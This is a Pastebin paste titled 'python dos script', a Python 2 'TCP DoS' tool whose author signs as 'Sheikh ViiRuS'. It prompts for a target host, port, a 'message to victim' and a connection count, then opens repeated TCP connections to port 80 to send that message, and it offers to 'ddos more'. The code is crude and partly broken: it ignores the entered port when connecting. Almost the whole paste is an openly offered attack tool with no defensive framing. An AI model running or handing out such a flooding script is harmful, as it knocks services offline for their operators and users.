Advertisement
iViiRuS

python dos script

Jul 21st, 2013
652
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.92 KB | None | 0 0
  1. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  2.  
  3. #+--------------------+
  4. #|Creators :          |
  5. #|-Sheikh ViiRuS      |
  6. #|                    |
  7. #+--------------------+
  8.  
  9. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  10.  
  11. import time
  12. import socket
  13. import os
  14. import sys
  15. import string
  16.  
  17. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  18.  
  19. def restart_program():
  20.     python = sys.executable
  21.     os.execl(python, python, * sys.argv)
  22. curdir = os.getcwd()
  23.  
  24. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  25.  
  26.  
  27. print ( "     |========================|")
  28. print ( "     |------------------------|")
  29. print ( "     |TCP DoS by Sheikh ViiRuS|")
  30. print ( "     |------------------------|")
  31. print ( "     |========================|")
  32. host=raw_input( "[URL/IP]:" )
  33. port=input( "Port:" )
  34. message=raw_input( "Message to Victim:" )
  35. conn=input( "Connections:" )
  36. ip = socket.gethostbyname( host )
  37. print ("[" + ip + "]")
  38. print ( "[Ip is locked]" )
  39. print ( "[Attacking " + host + "]" )
  40. print ("+----------------------------+")
  41. def dos():
  42.     #pid = os.fork()
  43.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  44.     try:
  45.         ddos.connect((host, 80))
  46.         ddos.send( message )
  47.         ddos.sendto( message, (ip, port) )
  48.         ddos.send( message );
  49.     except socket.error, msg:
  50.         print("|[Connection Failed]         |")
  51.     print ( "|[DoS Attack Engaged]       |")
  52.     ddos.close()
  53. for i in range(1, conn):
  54.     dos()
  55. print ("+----------------------------+")
  56. print("The connections you requested had finished")
  57. if __name__ == "__main__":
  58.     answer = raw_input("Do you want to ddos more?")
  59.     if answer.strip() in "y Y yes Yes YES".split():
  60.         restart_program()
  61.     else:
  62.         os.system(curdir+"\Deq\main.py")
  63.        
  64. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement